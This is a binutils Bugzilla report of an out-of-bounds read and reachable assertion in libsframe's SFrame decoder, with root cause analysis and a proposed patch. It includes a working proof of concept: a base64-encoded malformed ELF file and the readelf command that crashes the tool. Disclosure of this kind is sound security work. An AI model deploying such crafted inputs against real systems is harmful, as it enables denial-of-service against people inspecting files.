https://sourceware.org/bugzilla/show_bug.cgi?id=34563

            Bug ID: 34563
           Summary: Out-of-Bounds Read / Reachable Assertion in
                    sframe_decode_fre
           Product: binutils
           Version: 2.45
            Status: UNCONFIRMED
          Severity: normal
          Priority: P2
         Component: binutils
          Assignee: unassigned at sourceware dot org
          Reporter: zhaohuanqdcn at gmail dot com
  Target Milestone: ---

## Description

`sframe_decode_fre()` in `libsframe/sframe.c` decodes an SFrame Frame Row Entry
(FRE) straight out
of the on-disk buffer **without ever validating that the entry fits inside the
section**. The
number of stack-offset bytes it copies is derived from an attacker-controlled
`fre_info` byte:

```c
stack_offsets_sz = sframe_fre_offset_bytes_size (fre->fre_info);
stack_offsets = fre_buf + addr_size + sizeof (fre->fre_info);
memcpy (fre->fre_offsets, stack_offsets, stack_offsets_sz);   /* no bounds
check on fre_buf */
```

The function receives no buffer length at all, so a truncated/crafted `.sframe`
section makes it
read past the end of the mapped section. A trailing `sframe_assert` catches the
resulting
inconsistency **only in builds with assertions enabled**; with `NDEBUG` the
check compiles away and
the bogus entry size propagates to the caller, which then walks further out of
bounds and
segfaults.

Both outcomes are reachable from `readelf -a -w --sframe` on an untrusted
object file.

## Summary

- **Type**: Out-of-bounds read (CWE-125) / reachable assertion (CWE-617)
- **Severity**: Medium
- **Risk**: Denial of service when inspecting an untrusted object file with
`readelf --sframe`.
  With assertions enabled the process aborts; with `NDEBUG` it reads out of
bounds and crashes
  (`SIGSEGV`), and the over-read data is used to compute the next FRE offset.
- **Affected**: `libsframe` (used by `readelf`, `objdump` and any consumer of
the SFrame decoder).

## How to Reproduce

**Build binutils with assertions enabled (the default for a source build):**

```bash
wget https://ftp.gnu.org/gnu/binutils/binutils-2.45.tar.gz
tar xzf binutils-2.45.tar.gz && cd binutils-2.45
./configure --disable-nls --disable-werror --disable-gdb --disable-ld
--disable-gold --disable-gprof
make -j4 all-binutils
```

**Create the PoC** (243-byte ELF, `sha1
af808de1e3495b09bbf9a97a624a4bda8801bee3`, carrying a
malformed `.sframe` section):

```bash
base64 -d > poc.elf <<'EOF'
f0VMRgEBAQAAAAAAAAAAAAEAAwABAAAAAAAAAAAAAAB7AAAAAAAAADQAAAAAACgAAwABAAAu
c2hzdHJ0YWIALnNmcmFtZQDi3gIAAwAAAAEAAAABAAAACAAAABwAAAAsAAAAAAAAABAAAAAA
AAAAAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAEAAAADAAAAAAAAAAAAAAA0AAAAEwAAAAAAAAAAAAAAAQAAAAAAAAALAAAA9v//bwAAAAAA
AAAARwAAADQAAAAAAAAAAAAAAAEAAAAAAAAA
EOF
```

**Trigger:**

```bash
$ ./binutils/readelf -a -w --sframe poc.elf
```

**Triggering Conditions:**

- A 32-bit ELF containing a section named `.sframe` whose SFrame payload is
malformed
  (the FRE's `fre_info` byte disagrees with the bytes actually present).
- `readelf` must be asked to dump it — `--sframe` (with `-a -w` in the PoC).

**Output — assertions enabled (actual run, GNU readelf 2.45):**

```
readelf: Warning: [ 2]: Link field (0) should index a symtab section.
readelf: sframe.c:872: sframe_decode_fre: Assertion `fre_size == (addr_size +
sizeof (fre->fre_info) + stack_offsets_sz)' failed.
```

```
$ ./binutils/readelf -a -w --sframe poc.elf ; echo "exit=$?"
Aborted (core dumped)
exit=134            # 128 + SIGABRT
```

**Output — assertions disabled (`-DNDEBUG`, as in a hardened/instrumented
build):**

```
readelf: Warning: [ 2]: Link field (0) should index a symtab section.
Segmentation fault (core dumped)
exit=139            # 128 + SIGSEGV
```

The second behaviour is the important one: with the assertion compiled out, the
same input is no
longer a clean abort but an out-of-bounds access.

## Root Cause Analysis

**Buggy code — `libsframe/sframe.c:842-877` (binutils 2.45):**

```c
static int
sframe_decode_fre (const char *fre_buf, sframe_frame_row_entry *fre,
                   uint32_t fre_type, size_t *esz)
{
  ...
  if (fre_buf == NULL || fre == NULL || esz == NULL)
    return sframe_set_errno (&err, SFRAME_ERR_INVAL);

  /* Copy over the FRE start address.  */
  sframe_decode_fre_start_address (fre_buf, &fre->fre_start_addr, fre_type);  
/* [1] */

  addr_size = sframe_fre_start_addr_size (fre_type);
  fre->fre_info = *(uint8_t *)(fre_buf + addr_size);                          
/* [2] */
  ...
  stack_offsets_sz = sframe_fre_offset_bytes_size (fre->fre_info);
  stack_offsets = fre_buf + addr_size + sizeof (fre->fre_info);
  memcpy (fre->fre_offsets, stack_offsets, stack_offsets_sz);                 
/* [3] */

  /* The FRE has been decoded.  Use it to perform one last sanity check.  */
  fre_size = sframe_fre_entry_size (fre, fre_type);
  sframe_assert (fre_size == (addr_size + sizeof (fre->fre_info)
                              + stack_offsets_sz));                           
/* [4] line 872 */
  *esz = fre_size;

  return 0;
}
```

Three defects compound here:

1. **`[1]`** — the return value of `sframe_decode_fre_start_address()` is
discarded, so an invalid
   `fre_type` (which makes it return `SFRAME_ERR_INVAL`) is silently ignored
and
   `fre->fre_start_addr` is left undefined.
2. **`[2]`/`[3]`** — `sframe_decode_fre()` is never told how many bytes
`fre_buf` actually has. It
   reads `fre_info` and then `memcpy`s `stack_offsets_sz` bytes — a size
decoded from that very
   `fre_info` byte — with **no check against the end of the `.sframe`
section**. This is the
   out-of-bounds read.
3. **`[4]`** — the only consistency check is `sframe_assert`, i.e. an
`assert()`. It is a
   *post-hoc* check (the OOB `memcpy` has already happened) and, being an
assertion, it is
   **compiled out under `NDEBUG`**. That is exactly why the same PoC aborts on
a default source
   build but segfaults on a release/instrumented build: with the assert gone,
the inconsistent
   `fre_size` is written to `*esz`, and the callers (`sframe.c:1191`,
`sframe.c:1325`) advance the
   FRE cursor by that bogus size and keep decoding past the section.

An assertion is the wrong tool here: `sframe_decode_fre` already has an error
channel
(`sframe_set_errno` / `SFRAME_ERR_INVAL`) and its callers already check the
return value.
Malformed *input data* should produce an error, not an abort — and certainly
not an OOB.

## Suggested Fix

Turn the post-hoc assertion into a real error return, and stop ignoring the
start-address decode
error. (A complete fix also requires plumbing the remaining buffer length into
`sframe_decode_fre` so `[2]`/`[3]` can be bounds-checked *before* the reads —
the function
currently has no way to know where the section ends.)

```diff
--- a/libsframe/sframe.c
+++ b/libsframe/sframe.c
@@ sframe_decode_fre (const char *fre_buf, sframe_frame_row_entry *fre,
   if (fre_buf == NULL || fre == NULL || esz == NULL)
     return sframe_set_errno (&err, SFRAME_ERR_INVAL);

   /* Copy over the FRE start address.  */
-  sframe_decode_fre_start_address (fre_buf, &fre->fre_start_addr, fre_type);
+  if (sframe_decode_fre_start_address (fre_buf, &fre->fre_start_addr,
fre_type))
+    return sframe_set_errno (&err, SFRAME_ERR_INVAL);

   addr_size = sframe_fre_start_addr_size (fre_type);
   fre->fre_info = *(uint8_t *)(fre_buf + addr_size);
@@
-  /* The FRE has been decoded.  Use it to perform one last sanity check.  */
+  /* The FRE has been decoded.  Use it to perform one last sanity check.
+     Malformed input must yield an error, not an assertion failure: the check
+     must survive -DNDEBUG, otherwise the inconsistent size below is handed to
+     the caller and the FRE cursor walks off the end of the section.  */
   fre_size = sframe_fre_entry_size (fre, fre_type);
-  sframe_assert (fre_size == (addr_size + sizeof (fre->fre_info)
-                             + stack_offsets_sz));
+  if (fre_size != (addr_size + sizeof (fre->fre_info) + stack_offsets_sz))
+    return sframe_set_errno (&err, SFRAME_ERR_INVAL);
   *esz = fre_size;

   return 0;
 }
```

-- 
You are receiving this mail because:
You are on the CC list for the bug.

Reply via email to